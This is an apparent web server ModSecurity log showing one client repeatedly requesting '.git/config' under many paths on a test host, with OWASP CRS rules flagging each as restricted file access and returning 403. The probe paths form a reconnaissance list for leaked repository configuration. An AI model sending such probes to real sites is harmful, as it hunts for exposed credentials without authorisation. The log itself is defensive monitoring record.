[Thu Jan 16 14:20:45.201192 2025] [:error] [pid 500655] [client 45.135.232.70:48928] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzggAAAAM&quot;]
[Thu Jan 16 14:20:45.201315 2025] [:error] [pid 501744] [client 45.135.232.70:49062] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHQAAAAY&quot;]
[Thu Jan 16 14:20:45.201458 2025] [:error] [pid 500655] [client 45.135.232.70:48928] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzggAAAAM&quot;]
[Thu Jan 16 14:20:45.202275 2025] [:error] [pid 510631] [client 45.135.232.70:49074] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXAAAAA4&quot;]
[Thu Jan 16 14:20:45.202521 2025] [:error] [pid 510631] [client 45.135.232.70:49074] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXAAAAA4&quot;]
[Thu Jan 16 14:20:45.203475 2025] [:error] [pid 500653] [client 45.135.232.70:48948] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCwAAAAE&quot;]
[Thu Jan 16 14:20:45.203775 2025] [:error] [pid 500653] [client 45.135.232.70:48948] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCwAAAAE&quot;]
[Thu Jan 16 14:20:45.204060 2025] [:error] [pid 500653] [client 45.135.232.70:48948] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCwAAAAE&quot;]
[Thu Jan 16 14:20:45.204564 2025] [:error] [pid 510616] [client 45.135.232.70:48958] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OQAAAAo&quot;]
[Thu Jan 16 14:20:45.204924 2025] [:error] [pid 510616] [client 45.135.232.70:48958] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OQAAAAo&quot;]
[Thu Jan 16 14:20:45.205171 2025] [:error] [pid 510616] [client 45.135.232.70:48958] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OQAAAAo&quot;]
[Thu Jan 16 14:20:45.205966 2025] [:error] [pid 510629] [client 45.135.232.70:48988] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1QAAAAw&quot;]
[Thu Jan 16 14:20:45.224774 2025] [:error] [pid 511460] [client 45.135.232.70:48952] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eQAAAAA&quot;]
[Thu Jan 16 14:20:45.225127 2025] [:error] [pid 511460] [client 45.135.232.70:48952] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eQAAAAA&quot;]
[Thu Jan 16 14:20:45.225332 2025] [:error] [pid 511460] [client 45.135.232.70:48952] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eQAAAAA&quot;]
[Thu Jan 16 14:20:45.242664 2025] [:error] [pid 510615] [client 45.135.232.70:48962] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tQAAAAk&quot;]
[Thu Jan 16 14:20:45.243208 2025] [:error] [pid 510615] [client 45.135.232.70:48962] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tQAAAAk&quot;]
[Thu Jan 16 14:20:45.243592 2025] [:error] [pid 510615] [client 45.135.232.70:48962] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tQAAAAk&quot;]
[Thu Jan 16 14:20:45.317915 2025] [:error] [pid 510617] [client 45.135.232.70:49128] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLAAAAAs&quot;]
[Thu Jan 16 14:20:45.321108 2025] [:error] [pid 500653] [client 45.135.232.70:49162] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDAAAAAE&quot;]
[Thu Jan 16 14:20:45.321570 2025] [:error] [pid 500653] [client 45.135.232.70:49162] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDAAAAAE&quot;]
[Thu Jan 16 14:20:45.322050 2025] [:error] [pid 500653] [client 45.135.232.70:49162] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDAAAAAE&quot;]
[Thu Jan 16 14:20:45.323136 2025] [:error] [pid 510617] [client 45.135.232.70:49128] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLAAAAAs&quot;]
[Thu Jan 16 14:20:45.323647 2025] [:error] [pid 510617] [client 45.135.232.70:49128] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLAAAAAs&quot;]
[Thu Jan 16 14:20:45.327169 2025] [:error] [pid 510629] [client 45.135.232.70:48906] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /integrations/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/integrations/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1gAAAAw&quot;]
[Thu Jan 16 14:20:45.329335 2025] [:error] [pid 500655] [client 45.135.232.70:48980] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/smtp/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgwAAAAM&quot;]
[Thu Jan 16 14:20:45.329606 2025] [:error] [pid 500655] [client 45.135.232.70:48980] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgwAAAAM&quot;]
[Thu Jan 16 14:20:45.329817 2025] [:error] [pid 500655] [client 45.135.232.70:48980] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/smtp/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgwAAAAM&quot;]
[Thu Jan 16 14:20:45.329872 2025] [:error] [pid 510631] [client 45.135.232.70:49014] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXQAAAA4&quot;]
[Thu Jan 16 14:20:45.330295 2025] [:error] [pid 510631] [client 45.135.232.70:49014] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXQAAAA4&quot;]
[Thu Jan 16 14:20:45.330579 2025] [:error] [pid 510631] [client 45.135.232.70:49014] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXQAAAA4&quot;]
[Thu Jan 16 14:20:45.330635 2025] [:error] [pid 507252] [client 45.135.232.70:49110] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsQAAAAc&quot;]
[Thu Jan 16 14:20:45.330898 2025] [:error] [pid 507252] [client 45.135.232.70:49110] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsQAAAAc&quot;]
